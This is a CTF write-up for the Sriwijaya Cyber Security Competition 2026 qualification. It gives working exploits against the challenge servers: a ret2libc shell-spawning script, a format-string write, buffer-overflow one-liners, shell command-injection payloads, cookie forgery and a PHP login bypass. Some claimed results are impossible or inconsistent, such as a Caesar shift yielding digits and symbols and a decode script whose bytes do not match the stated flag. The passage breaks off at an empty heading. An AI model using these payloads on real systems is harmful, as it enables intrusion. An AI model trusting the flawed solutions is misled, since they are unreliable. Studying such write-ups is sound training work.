4184 words
21 minutes
Sriwijaya Cyber Security Competition 2026 - Qualification Writeup

hi everyone! It’s been a while since my last CTF writeup, but I’m back with a full rundown of the Sriwijaya Cyber Security Competition 2026 qualification stage. The team and I worked through a solid set of challenges—some were quick wins, others required serious debugging. I’m sharing all the solutions here, exactly as we solved them. Let’s dive in.

Reverse Engineering#

ngestring#

Category: Reverse Engineering
Flag: SCS26{b4s1c_st4t1c_4n4lys1s_w1th_str1ngs}

Challenge Description#

Given a 64-bit ELF executable named ngestring.

Analysis#

The challenge name “ngestring” is a hint - it’s Indonesian slang suggesting we should use the strings command.

$ file ngestring
ngestring: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped

Solution#

Simply run the strings command to extract printable strings from the binary:

$ strings ngestring
SCS26{b4s1c_st4t1c_4n4lys1s_w1th_str1ngs}

ngompor#

Category: Reverse Engineering
Flag: SCS26{m4nu4l_h3x_c0mp4r3_is_sneaky}

Challenge Description#

Given a 64-bit ELF executable named ngompor.

Analysis#

After disassembling the binary, we found that the flag data is stored in memory but encoded using a bitwise NOT operation.

$ objdump -d ngompor -M intel | grep -A 50 "flag_data"

The binary stores encoded bytes that need to be decoded by applying ~byte & 0xFF (bitwise NOT).

Solution#

#!/usr/bin/env python3
# Encoded flag data extracted from binary
encoded_data = [
    0xac, 0xbc, 0xac, 0xcd, 0xcf, 0x9a, 0xb4, 0xcd, 
    0x91, 0xb7, 0xcd, 0x93, 0x9c, 0x97, 0xb0, 0xb4,
    0x9c, 0x91, 0x8c, 0xb4, 0xb6, 0x90, 0xb4, 0xb6, 
    0xb0, 0x8c, 0x91, 0x9c, 0x9c, 0x92, 0xb2, 0x86
]

# Apply bitwise NOT to decode
flag = ''.join(chr(~b & 0xFF) for b in encoded_data)
print(flag)

Output: SCS26{m4nu4l_h3x_c0mp4r3_is_sneaky}


ngemal#

Category: Reverse Engineering
File: flag.txt.wowok
Flag: SCSC26{sesudah_kesulitan_itu_kemudahan}

Challenge Description#

A file named flag.txt.wowok was provided. Its contents looked random/garbled.

Analysis#

Since the flag format is known (SCSC26{...}), the simplest approach is brute-forcing a 1-byte XOR key (0–255) and checking for the substring SCSC26{ in the decoded output.

Exploitation#

Bruteforce found the key 0x32 (50). XOR-ing the file with that key reveals the plaintext flag.

Example 1-liner (Python):

d=open("flag.txt.wowok","rb").read()
print(bytes(b^0x32 for b in d).decode())

ngecUaPeX#

Category: Reverse Engineering
Flag: SCSC26{y4re_Y@R3}

Challenge Description#

A Caesar Cipher (ROT) brute force challenge with the string:

lelahletihlunglai

Analysis#

Try ROT 1–25 and look for an output that becomes readable.

Solution#

After brute forcing the rotations, the readable result is:

y4re_Y@R3

Put it into the given flag format:

SCSC26{y4re_Y@R3}

General Skills#

Hitungan MTK#

Category: General Skills
Server: nc 43.128.69.211 10001
Flag: scsc26{p1nt3r_mtk_g4j4min_j4g0_scr1pt1ng_n_s0ck3t_pr0gr4mm1n6}

Challenge Description#

Connect to the server and solve 30 math problems within 1 second each.

Analysis#

Upon connecting, the server presents arithmetic problems that must be solved quickly. Manual solving is impossible due to the strict 1-second time limit per question.

$ nc 43.128.69.211 10001
Rockwell ada challenge berhitung UwU
Ada 30 soal hitungan, cuma boleh jawab 1x dalam waktu 1 detik!
====Rockwell====
52+55 = 

Key observations:

  • Multiplication uses x instead of *
  • Division uses : instead of /
  • Format is simple: <expr> = (no question mark, no problem number)
  • Must respond within 1 second or the question is skipped

Solution#

#!/usr/bin/env python3
from pwn import *
import re

def main():
    p = remote('43.128.69.211', 10001)
    
    # Wait for banner (ends with "====Rockwell====")
    p.recvuntil(b'====Rockwell====', timeout=5)
    
    for i in range(30):
        # Receive until " = " which marks end of expression
        line = p.recvuntil(b' = ', timeout=1).decode()
        
        # Parse expression: replace x->*, :->/, strip " = "
        expr = line.replace('x', '*').replace(':', '/').replace(' = ', '').strip()
        
        # Solve
        result = eval(expr)
        
        # Key insight: division needs 3 decimal places
        if '/' in expr:
            result = round(result, 3)
        else:
            result = int(result)
        
        print(f"[{i+1}] {expr} = {result}")
        p.sendline(str(result).encode())
    
    # Receive flag
    print(p.recvall(timeout=3).decode())

if __name__ == '__main__':
    main()

Key Insight#

Two critical discoveries:

  1. Operators are different: x for multiplication, : for division (Indonesian convention)
  2. Division results must be rounded to 3 decimal places using round(result, 3)

unsolpable solpable#

Category: General Skills
Server: nc 43.128.69.211 10002
Flag: scsc26{bin4ry_s34rch_like_an_OctoPath_Traveler}

Challenge Description#

Guess 30 secret numbers (range 1-1000) with only 10 attempts each.

Analysis#

With 10 attempts to find a number in range 1-1000, we need binary search. Since 2^10 = 1024 > 1000, binary search guarantees finding any number within 10 guesses.

$ nc 43.128.69.211 10002
Rockwell ada angka 1 - 1000, ayo tebak angka yang rockwell pikirkan ya!
Kamu punya 10 kali kesempatan untuk menebak angka rockwell
Tebakanmu: 500
tebakanmu kekecilan!
Sisa tebakan: 9
Tebakanmu:

Server responses (Indonesian):

  • "tebakanmu kekecilan!" = your guess is too small
  • "tebakanmu kegedean!" = your guess is too big
  • "tebakanmu bener!" = your guess is correct

Solution#

#!/usr/bin/env python3
from pwn import *
import time

def main():
    p = remote('43.128.69.211', 10002)
    
    # Get banner
    time.sleep(0.5)
    p.recv(timeout=2)
    print("[+] Connected!")
    
    for round_num in range(30):
        low, high = 1, 1000
        
        for attempt in range(10):
            mid = (low + high) // 2
            p.sendline(str(mid).encode())
            time.sleep(0.05)
            
            response = p.recv(512, timeout=2).decode().lower()
            
            if 'kekecilan' in response:  # too small
                low = mid + 1
            elif 'kegedean' in response:  # too big
                high = mid - 1
            elif 'bener' in response:  # correct!
                print(f"[{round_num+1}/30] Found: {mid}")
                break
    
    # Get flag
    print(p.recvall(timeout=3).decode())

if __name__ == '__main__':
    main()

Algorithm Complexity#

  • Binary search: O(log n) = O(log 1000) ≈ 10 guesses maximum
  • Total: 30 rounds × ~10 guesses = ~300 operations

ASM 101#

Category: General Skills
File: source.nasm
Flag: scsc26{02_02_1c00_001c}

Challenge Description#

Given a 16-bit DOS assembly program. Inputs are:

  • input1 = 20
  • input2 = 200

Flag format:

scsc26{mem[001E]_mem[001F]_DX_BX}

Analysis#

At a high level, the program:

  • Reads 2 inputs using DOS int 21h function AH=0Ah (buffered input).
  • Copies input into number3 and number4 from the back (uses STD + LODSB/STOSB) to right-align digits (4-digit style).
  • Treats filler bytes as empty, effectively as 0.
  • Takes 4 digits from each number, converts ASCII '0'..'9' to numeric 0..9.
  • Adds digit-by-digit with carry and stores a 5-digit result into memory 0x001C..0x0020.

With right-alignment:

  • 20 becomes 0020
  • 200 becomes 0200
  • Sum = 00220

Solution#

Because the result is stored as digits:

  • mem[001E] (hundreds digit) = 02
  • mem[001F] (tens digit) = 02

At the end of the loop:

  • DX = 1c00 (DH=1C, DL=00)
  • BX = 001c

So the flag is:

scsc26{02_02_1c00_001c}


Binary Exploitation#

MultiParam32#

Category: Binary Exploitation
Server: nc 43.128.69.211 13003
Flag: scsc26{uN3Xp3ctEd_mUlT1_p4r4m}

Challenge Description#

32-bit binary exploitation challenge requiring return-to-libc attack.

Binary Analysis#

$ file multiparam
multiparam: ELF 32-bit LSB executable, Intel 80386, dynamically linked

$ checksec --file=multiparam
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Disassembly Analysis (main function)#

; Stack layout:
; ebp-0x14: buffer (20 bytes from ebp)
; ebp-0x8:  var2 (loaded into eax if check passes)
; ebp-0x4:  var1 (must equal 0xd34dc4fe)
; ebp:      saved ebp
; ebp+0x4:  return address

mov    DWORD PTR [ebp-0x4], 0x0      ; var1 = 0
lea    eax, [ebp-0x14]               ; buffer address
push   eax
call   gets                          ; VULNERABLE: gets(buffer)
mov    eax, DWORD PTR [ebp-0x4]
cmp    eax, 0xd34dc4fe               ; check if var1 == magic
jne    skip
mov    eax, DWORD PTR [ebp-0x8]      ; load var2 into eax
skip:
push   0x804a008                     ; "Try again?"
call   puts
leave
ret

Vulnerability#

  • gets() has no bounds checking - classic buffer overflow
  • No win function exists - need ret2libc
  • NX enabled - can’t execute shellcode on stack

Exploitation Strategy#

Stage 1: Leak libc address

  1. Overflow buffer to control return address
  2. Return to puts@plt with puts@GOT as argument
  3. This prints the runtime address of puts in libc
  4. Return to main to continue exploitation

Stage 2: Calculate libc addresses

  1. Use leaked puts address to identify libc version
  2. Calculate system() and /bin/sh addresses

Stage 3: Get shell

  1. Overflow again with system("/bin/sh") ROP chain

Identifying Libc Version#

Leaked addresses:

  • puts@libc ending in 0x140
  • gets@libc ending in 0x660

Using libc.rip database:

libc6_2.39-0ubuntu8.4_i386:
  puts:       0x78140
  gets:       0x77660
  system:     0x50430
  str_bin_sh: 0x1c4de8

Final Exploit#

#!/usr/bin/env python3
from pwn import *

context.arch = 'i386'

HOST = '43.128.69.211'
PORT = 13003

# Binary addresses (no PIE)
PUTS_PLT = 0x8049040
PUTS_GOT = 0x804c010
MAIN_ADDR = 0x8049182
MAGIC = 0xd34dc4fe

# libc6_2.39 i386 offsets
PUTS_OFF = 0x78140
SYSTEM_OFF = 0x50430
BINSH_OFF = 0x1c4de8

p = remote(HOST, PORT)

# ============ STAGE 1: Leak libc ============
# Stack: [12 bytes padding][var2][var1=MAGIC][saved_ebp][ret_addr][ret_after][arg]
padding = b'A' * 12
payload1 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload1 += p32(PUTS_PLT)   # ret to puts@plt
payload1 += p32(MAIN_ADDR)  # return to main after puts
payload1 += p32(PUTS_GOT)   # argument: puts@GOT

p.sendline(payload1)
p.recvuntil(b'Try again?\n')

# Read leaked address
puts_libc = u32(p.recv(4))
log.success(f"Leaked puts@libc: {hex(puts_libc)}")

# ============ STAGE 2: Calculate addresses ============
libc_base = puts_libc - PUTS_OFF
system_addr = libc_base + SYSTEM_OFF
binsh_addr = libc_base + BINSH_OFF

log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")

# Clean buffer
sleep(0.2)
try: p.recv(timeout=0.3)
except: pass

# ============ STAGE 3: system("/bin/sh") ============
payload2 = padding + p32(0xdeadbeef) + p32(MAGIC) + p32(0x42424242)
payload2 += p32(system_addr)   # ret to system
payload2 += p32(MAIN_ADDR)     # return after system
payload2 += p32(binsh_addr)    # argument: "/bin/sh"

p.sendline(payload2)
p.interactive()

quiz#

Category: Binary Exploitation
Server: nc 43.128.69.211 13004
Flag: scsc26{Integer_Und3R_fl0W_0v3rFl0W}

Challenge Description#

A “secure” vault that checks your money amount to grant access to the flag.

Binary Analysis#

$ file quiz
quiz: ELF 64-bit LSB pie executable, x86-64, dynamically linked

Decompiled Logic (pseudocode)#

long money;   // signed 64-bit integer

printf("How much is your money?\n");
scanf("%lld", &money);  // reads SIGNED long long

// Check 1: Signed comparison
if (money > 100) {
    printf("You cannot have more than 100 Rupiaz as a student!\n");
    exit(1);
}

// Check 2: This comparison treats value as UNSIGNED
if (money <= 1000000) {
    printf("Your money is not enough for a flag :(\n");
    printf("You need 1 million rupiaz for a flag!\n");
    exit(1);
}

// WIN: Print flag
printf("It... Can't be!!!\n");
// ... opens and prints flag.txt

Vulnerability: Integer Signedness Bug#

The two checks have conflicting requirements:

  1. money > 100 uses signed comparison (must be ≤ 100)
  2. money <= 1000000 uses comparison that can be bypassed with negative numbers

Key Insight: A negative number like -1:

  • Signed interpretation: -1 ≤ 100 ✓ (passes check 1)
  • When compared as unsigned: -1 = 0xFFFFFFFFFFFFFFFF = 18,446,744,073,709,551,615
  • This is definitely > 1,000,000 ✓ (passes check 2)

Exploit#

$ echo "-1" | nc 43.128.69.211 13004
How much is your money?
It... Can't be!!!
scsc26{Integer_Und3R_fl0W_0v3rFl0W}

dzawin#

Category: Binary Exploitation
Server: nc 43.128.69.211 13005
Flag: scsc26{r3t2wIn_f0r_fUn_4nD_pr0ViT}

Challenge Description#

Classic buffer overflow with a win function.

Binary Analysis#

$ file stack
stack: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped

$ checksec --file=stack
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Key Functions#

win() @ 0x080491c2

void win() {
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        perror("Error while opening the file.");
        exit(1);
    }
    int c;
    while ((c = fgetc(fp)) != EOF) {
        putchar(c);
    }
}

vuln() @ 0x0804921f

vuln:
    push   ebp
    mov    ebp, esp
    sub    esp, 0x80              ; 128-byte buffer
    lea    eax, [ebp-0x80]        ; buffer address
    push   eax
    call   gets                   ; VULNERABLE!
    leave
    ret

Stack Layout#

[    128 bytes buffer    ] <- ebp-0x80 (gets writes here)
[   4 bytes saved EBP    ] <- ebp
[  4 bytes return addr   ] <- ebp+4 (overwrite target)

Exploitation Strategy#

  1. Fill 128-byte buffer with padding
  2. Overwrite 4-byte saved EBP with junk
  3. Overwrite return address with win() address (0x080491c2)

Total padding needed: 128 + 4 = 132 bytes

Exploit#

#!/usr/bin/env python3
import struct

padding = b'A' * 132  # 128 buffer + 4 saved ebp
win_addr = struct.pack('<I', 0x080491c2)  # little-endian

payload = padding + win_addr
print(payload)

One-liner:

python3 -c "import struct; print(b'A'*132 + struct.pack('<I', 0x080491c2))" | nc 43.128.69.211 13005

Output#

scsc26{r3t2wIn_f0r_fUn_4nD_pr0ViT}

For What#

Category: Binary Exploitation
Server: nc 43.128.69.211 13001
Flag: scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}

Challenge Description#

A 32-bit binary with a format string vulnerability. Exploit it to read the flag.

Binary Analysis#

$ file format
format: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped

$ checksec --file=format
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Disassembly Analysis (vuln function)#

vuln:
    push   ebp
    mov    ebp, esp
    sub    esp, 0x208             ; allocate buffer space
    
    ; fgets(buffer, 0x200, stdin)
    lea    eax, [ebp-0x205]       ; buffer address
    push   stdin
    push   0x200
    push   eax
    call   fgets
    
    ; printf(buffer) - VULNERABLE! No format string
    lea    eax, [ebp-0x205]
    push   eax
    call   printf                  ; Format string vulnerability here
    
    ; Check if target == 0x60 (96)
    mov    eax, [0x804c06c]       ; target variable
    cmp    eax, 0x60
    jne    fail
    
    ; WIN: Open and print flag.txt
    push   "r"
    push   "flag.txt"
    call   fopen
    ; ... reads and prints flag
    
fail:
    ; Print "target is %d :("
    push   eax
    push   "target is %d :("
    call   printf

Key Addresses#

  • target variable: 0x804c06c (in .bss section)
  • Target value needed: 0x60 (96 decimal)

Vulnerability#

The vuln() function passes user input directly to printf() without a format string:

printf(buffer);  // Should be: printf("%s", buffer);

This allows an attacker to:

  1. Read from the stack using %x or %p
  2. Write to arbitrary memory using %n

Exploitation Strategy#

Goal: Write 0x60 (96) to the target variable at 0x804c06c

The %n format specifier writes the count of characters printed so far to an address on the stack.

Step 1: Find stack offset

$ echo 'AAAA%1$x' | ./format
AAAA200
$ echo 'AAAA%2$x' | ./format
AAAA25414141   # 0x25414141 = "%AAA" - our input (misaligned by 1 byte)

The input buffer starts at offset 2, but is misaligned by 1 byte.

Step 2: Fix alignment

$ echo 'XAAAA%2$x' | ./format
XAAAA41414141  # 0x41414141 = "AAAA" - perfectly aligned!

Adding a 1-byte prefix (X) aligns our address at offset 2.

Step 3: Craft payload

Payload structure:

X              - 1 byte alignment padding
\x6c\xc0\x04\x08 - target address (little endian)
%91x           - print 91 more chars (1+4+91 = 96 = 0x60)
%2$n           - write char count to address at stack offset 2

Exploit#

#!/usr/bin/env python3
from pwn import *

# Target address (little endian)
target_addr = p32(0x804c06c)

# Payload:
# X (1 byte) + addr (4 bytes) = 5 chars
# Need 96 total, so pad with 91 more: %91x
# Write to offset 2: %2$n
payload = b"X" + target_addr + b"%91x%2$n"

# Local test
# p = process("./format")

# Remote
p = remote("43.128.69.211", 13001)
p.sendline(payload)
print(p.recvall().decode())

One-liner:

python3 -c 'import sys; sys.stdout.buffer.write(b"X\x6c\xc0\x04\x08%91x%2\x24n\n")' | nc 43.128.69.211 13001

Output#

Xl�                                                                                   58000000
scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}

Format String Attack Summary#

SpecifierPurpose
%xLeak stack values (hex)
%sRead string at address on stack
%nWrite number of printed chars to address
%N$xAccess Nth argument directly
%NcPrint N characters (for padding)

Web Exploitation#

Internal Access#

Category: Web Exploitation
Flag: SCSC26{v4l1d4s1_kL13n_cUm4_H14s4n_d04ng}

Challenge Description#

A web challenge where the flag is hidden in the page source.

Analysis#

Viewing the page source (Ctrl+U) reveals an HTML comment containing developer notes and the flag.

Exploitation#

Open the page source and locate the comment that includes the flag.


SCSC Secure Vault#

Category: Web Exploitation
URL: http://sriwijayasecuritysociety.com:8003/
Flag: SCSC26{kUE_r4h4s14_bU4t_4ks3s_L3v3L_d3w4}

Challenge Description#

A document storage system using hash-based authentication. Users are given a scsc_auth cookie that determines their access level. Default access is “level_1”, but the secret document requires “level_99”.

Initial Reconnaissance#

$ curl -v http://sriwijayasecuritysociety.com:8003/ 2>&1 | grep -i cookie
< Set-Cookie: scsc_auth=c98a679441798bdb9c194f9ca471e6cd

The cookie looks like an MD5 hash (32 hex characters).

Analysis#

Let’s verify if it’s MD5 of the access level:

$ echo -n "level_1" | md5sum
c98a679441798bdb9c194f9ca471e6cd  -

Confirmed! The cookie is simply MD5("level_1").

Vulnerability#

The authentication mechanism has critical flaws:

  1. No server-side session management
  2. No secret key or salt in the hash
  3. No signature verification (HMAC)
  4. The “secret” is just an unsalted MD5 hash that anyone can compute

Exploitation#

Generate the MD5 hash for level_99:

$ echo -n "level_99" | md5sum
9a22a3d174f06065a7dc2769f16fc738  -

Access the vault with forged token:

$ curl -s -b "scsc_auth=9a22a3d174f06065a7dc2769f16fc738" \
    http://sriwijayasecuritysociety.com:8003/index.php

Response#

<div class="file-item">
    <span>Top_Secret_Flag.txt</span>
    <span class="unlocked">SCSC26{kUE_r4h4s14_bU4t_4ks3s_L3v3L_d3w4}</span>
</div>

Legacy HR Payroll#

Category: Web Exploitation
URL: http://sriwijayasecuritysociety.com:8002/
Flag: SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}

Challenge Description#

A legacy payroll system login page requiring Employee ID (format: HR-XXXX-Y) and PIN Code authentication.

Initial Reconnaissance#

The login page features:

  • A form with “Employee ID” and “PIN Code” fields
  • Placeholder hint showing format: “HR-XXXX-Y”
  • POST method submitting to empid and pin parameters
$ curl -X POST -d "empid=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/
# Returns: Invalid credentials

Vulnerability Discovery#

Step 1: Testing SQL Injection#

# Basic SQL injection attempts
$ curl -X POST -d "empid=' OR '1'='1&pin=1234" http://sriwijayasecuritysociety.com:8002/
$ curl -X POST -d "empid=' OR 1=1#&pin=anything" http://sriwijayasecuritysociety.com:8002/

Result: All SQL injection attempts failed.

Step 2: Testing PHP Type Juggling#

PHP is notorious for its loose type comparison. Testing array parameters:

$ curl -X POST -d "empid[]=HR-0001-1&pin=1234" http://sriwijayasecuritysociety.com:8002/

Result: PHP error revealed!

Warning: strcmp() expects parameter 2 to be string, array given in /var/www/html/index.php on line 15

Vulnerability Analysis: strcmp() Type Juggling#

The error reveals the application uses strcmp() for credential comparison.

How strcmp() Works#

int strcmp ( string $str1 , string $str2 )
// Returns 0 if equal, <0 if str1 < str2, >0 if str1 > str2

The Vulnerability#

When strcmp() receives an array instead of a string:

  1. It returns NULL (and emits a warning)
  2. In PHP’s loose comparison: NULL == 0 evaluates to true
  3. Since strcmp() returns 0 for equal strings, this bypasses authentication!

Vulnerable Code Pattern#

<?php
$empid = $_POST['empid'];
$pin = $_POST['pin'];

$user = $db->query("SELECT * FROM employees WHERE empid = '$empid'");

// VULNERABLE: loose comparison with strcmp
if (strcmp($user['pin'], $pin) == 0) {
    // Authentication successful - but strcmp returns NULL for array input!
    // NULL == 0 is TRUE in PHP!
}
?>

Exploitation#

Send both parameters as arrays to trigger the vulnerability:

$ curl -X POST \
  -d "empid[]=HR-0001-1&pin[]=1234" \
  http://sriwijayasecuritysociety.com:8002/

Result: Authentication bypassed! Flag revealed:

SCSC26{pHp_j4dUt_b1k1n_pUs1nG_k3p4L4}

Alternative Exploitation Methods#

Using Python Requests#

import requests

url = "http://sriwijayasecuritysociety.com:8002/"
payload = {
    "empid[]": "HR-0001-1",
    "pin[]": "1234"
}

response = requests.post(url, data=payload)
print(response.text)

Using Browser DevTools#

  1. Open login page in browser
  2. Open Developer Tools (F12)
  3. Modify form HTML:
    • Change name="empid" to name="empid[]"
    • Change name="pin" to name="pin[]"
  4. Submit the form

Secure Code Fix#

<?php
// 1. Validate input types
if (!is_string($_POST['empid']) || !is_string($_POST['pin'])) {
    die("Invalid input");
}

// 2. Use strict comparison (===) or hash_equals()
if (hash_equals($user['pin'], $pin)) {
    // Secure comparison - timing-safe and type-strict
}

// 3. For passwords, use password_verify() with hashed passwords
if (password_verify($pin, $user['hashed_pin'])) {
    // Proper password handling
}
?>

File Backup#

Category: Web
URL: https://ctf.sriwijayasecuritysociety.com/
Flag: SCSC26{4h_1_f0rg3t_to_d3letE}

Challenge Description#

backup my index pls

Analysis#

Because there was no URL given for the challenge instance, I initially thought the target was the CTFd site itself. The hint “backup my index” strongly suggests a leftover backup file such as .bak, .old, or .swp.

Exploitation#

Access the backup file directly:

curl https://ctf.sriwijayasecuritysociety.com/index.php.bak

The response contained the flag directly inside the HTML:

<main role="main">
    <div class="container">
        <p>SCSC26{4h_1_f0rg3t_to_d3letE}</p>
    </div>
</main>

Network Looking Glass#

Category: Web
URL: https://ctf.sriwijayasecuritysociety.com/
Flag: SCSC26{p1nG_p1nG_bU4t_NyUsUp_m4sUk}

Challenge Description#

The challenge provided a web-based “Network Looking Glass” interface that lets users ping hosts. This kind of feature often becomes dangerous if user input is concatenated directly into a shell command.

Analysis#

The page accepted a hostname/IP and returned the output of ping. That strongly indicates something like:

system("ping -c 1 " . $_GET["host"]);

If the input is not sanitized, we can try classic command injection separators such as ;, &&, ||, |, $(), and backticks.

Payloads I tested:

127.0.0.1; ls
127.0.0.1 && ls
127.0.0.1 | ls
127.0.0.1; `ls`

The semicolon (;) worked, confirming command injection.

Exploitation#

After confirming injection, I enumerated for flag files and then read it:

127.0.0.1; ls -la
127.0.0.1; find / -name "flag*" 2>/dev/null
127.0.0.1; cat flag.txt

The output included the flag:

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.012/0.012/0.012/0.000 ms

SCSC26{p1nG_p1nG_bU4t_NyUsUp_m4sUk}

Digger#

Category: Web
URL: https://ctf.sriwijayasecuritysociety.com/
Flag: SCSC26{d4g_d1g_dug_d4n9du7}

Challenge Description#

The challenge name “Digger” is a hint to use DNS digging tools like dig to enumerate records.

Analysis#

DNS-based CTF challenges commonly hide flags in:

  • TXT records
  • MX records
  • subdomains
  • zone transfer misconfigurations (AXFR)

Exploitation#

Query TXT records for the domain:

dig TXT sriwijayasecuritysociety.com

The TXT record response contained the flag:

;; ANSWER SECTION:
sriwijayasecuritysociety.com. 300 IN TXT "SCSC26{d4g_d1g_dug_d4n9du7}"

Forensics#

Pedeef#

Category: Forensics
Flag: scsc26{l0ck3d_d0cum3nt_pDf}

Challenge Description#

A password-protected PDF where the contents are not accessible normally.

Analysis#

A password prompt / locked content indicates the PDF has password protection.

Solution#

Use an online PDF unlocker to bypass the password (e.g., ilovepdf unlock). After unlocking, open the PDF and select all—some text is hidden by matching the white background.

Flag:

scsc26{l0ck3d_d0cum3nt_pDf}


Sejarah#

Category: Forensics
File: es-es-es.zip
Flag: scsc26{r4j4_S4w33d_l0H-yH44}

Challenge Description#

A ZIP file containing static web assets.

Analysis#

After extracting, the content includes HTML and JavaScript. The flag is stored directly in the JavaScript code.

Solution#

Extract and inspect the JavaScript:

unzip es-es-es.zip

Open:

assets/app.js

The flag is inside an alert().

Flag:

scsc26{r4j4_S4w33d_l0H-yH44}


Meta#

Category: Forensics
File: meta_logo.png
Flag: scsc26{m3t4_d4t4_d1_im4gE}

Challenge Description#

A PNG image file that contains hidden information.

Analysis#

The challenge name “Meta” hints at metadata. Image files often contain EXIF metadata that can store various information including hidden data.

Solution#

Simply use exiftool to examine the image metadata:

$ exiftool meta_logo.png
ExifTool Version Number         : 13.10
File Name                       : meta_logo.png
Directory                       : .
File Size                       : 4.3 kB
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 300
Image Height                    : 168
Bit Depth                       : 8
Color Type                      : Palette
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Artist                          : scsc26{m3t4_d4t4_d1_im4gE}
Image Size                      : 300x168
Megapixels                      : 0.050

The flag is hidden in the Artist EXIF field.

Alternative Methods#

# Using strings
$ strings meta_logo.png | grep scsc

# Using grep directly on binary
$ grep -a "scsc" meta_logo.png

Sigmatour#

Category: Forensics
File: sigmatour-image.jpg
Flag: scsc26{r3c0v3r_f!l3_s19n4tur3s}

Description#

A JPEG image file that appears to be corrupted and cannot be opened.

Analysis#

Examining the file header reveals the corruption:

$ xxd sigmatour-image.jpg | head -3
00000000: ff00 0000 0000 0000 4946 0001 0100 0001  ........IF......
00000010: 0001 0000 ffdb 0043 0002 0101 0101 0102  .......C........
00000020: 0101 0102 0202 0202 0403 0101 0102 0504  ................

The file starts with FF 00 00 00 00 00 00 00 but a valid JPEG/JFIF file should start with:

  • FF D8 - JPEG SOI (Start of Image) marker
  • FF E0 - APP0 marker (JFIF)
  • 00 10 - Length of APP0 segment (16 bytes)
  • 4A 46 49 46 - “JFIF” identifier

Notice that 49 46 (“IF” from “JFIF”) is still present at offset 8, confirming this is a corrupted JFIF header.

Solution#

Restore the correct JPEG/JFIF file signature:

# Method 1: Using printf and dd
$ cp sigmatour-image.jpg fixed.jpg
$ printf '\xff\xd8\xff\xe0\x00\x10\x4a\x46' | dd of=fixed.jpg bs=1 count=8 conv=notrunc

# Method 2: Using Python
$ python3 -c "
with open('sigmatour-image.jpg', 'rb') as f:
    data = bytearray(f.read())

# Fix JFIF header (bytes 0-7)
data[0:8] = b'\xff\xd8\xff\xe0\x00\x10\x4a\x46'

with open('fixed.jpg', 'wb') as f:
    f.write(data)
"

# Verify the fix
$ file fixed.jpg
fixed.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2848x1600, components 3

After fixing the header, open the image - the flag is displayed visually within the image itself.

File Signature Reference#

FormatMagic Bytes (Hex)ASCII
JPEG/JFIFFF D8 FF E0 xx xx 4A 46 49 46ÿØÿà..JFIF
JPEG/EXIFFF D8 FF E1 xx xx 45 78 69 66ÿØÿá..Exif
PNG89 50 4E 47 0D 0A 1A 0A.PNG…
GIF47 49 46 38GIF8

Dongker#

Category: Forensics
File: dongker_container.tar
Flag: scsc26{l3arn_3z_f0r3ns1c_d0n9k3r}

Description#

We are given a Docker/OCI container export (.tar). The goal is to recover the flag from the container filesystem.

Analysis#

A container export is basically a tar archive containing the root filesystem (rootfs) plus some metadata. The quickest approach is to extract it and look for anything suspicious in common places such as:

  • /root/.ash_history / /root/.bash_history (command history)
  • /tmp, /var/tmp (temporary files)
  • /home/* (user files)
  • /etc (sometimes flags are hidden in configs)

Solution#

Extract the archive:

mkdir -p dongker_rootfs
tar -xf dongker_container.tar -C dongker_rootfs

Check root’s shell history. This container uses ash (common on Alpine), so the history file is:

cat dongker_rootfs/root/.ash_history

Inside the history we can see the author literally built the flag by appending characters into a temp file:

echo "s" > /tmp/rahasia.txt
echo "c" >> /tmp/rahasia.txt
echo "s" >> /tmp/rahasia.txt
echo "c" >> /tmp/rahasia.txt
echo "2" >> /tmp/rahasia.txt
echo "6" >> /tmp/rahasia.txt
echo "{" >> /tmp/rahasia.txt
echo "l3arn_3z_f0r3ns1c_d0n9k3r" >> /tmp/rahasia.txt
echo "}" >> /tmp/rahasia.txt

So we can just read the file directly from the extracted filesystem:

cat dongker_rootfs/tmp/rahasia.txt

Output:

scsc26{l3arn_3z_f0r3ns1c_d0n9k3r}

Sharkk#

Category: Forensics
File: sharkk.pcapng
Flag: scsc26{t4p1_b0on9}

Description#

We are given a packet capture (.pcapng). The flag is hidden somewhere inside the captured network traffic.

Analysis#

A common first step in forensics PCAP challenges is to extract printable strings and look for familiar flag patterns.

Even without Wireshark/tshark, we can still carve out the contents using strings and grep.

Solution#

Extract strings and search for the flag format:

strings sharkk.pcapng | grep -oE 'scsc26\{[^}]+\}'

Output:

scsc26{t4p1_b0on9}

If you want a bit more context, you can print nearby lines:

strings -n 6 sharkk.pcapng | grep -n "flag.txt" -n
strings -n 6 sharkk.pcapng | grep -n "scsc26" -n

From the surrounding control-channel text, the capture includes an FTP transfer for flag.txt, and the flag appears directly in the payload.


Cryptography#

65536#

Category: Cryptography
Flag: SCSCC26{54y4_t4u_ny4_b4s3_64}

Description#

Given an encrypted string that appears to use unusual Unicode characters.

Analysis#

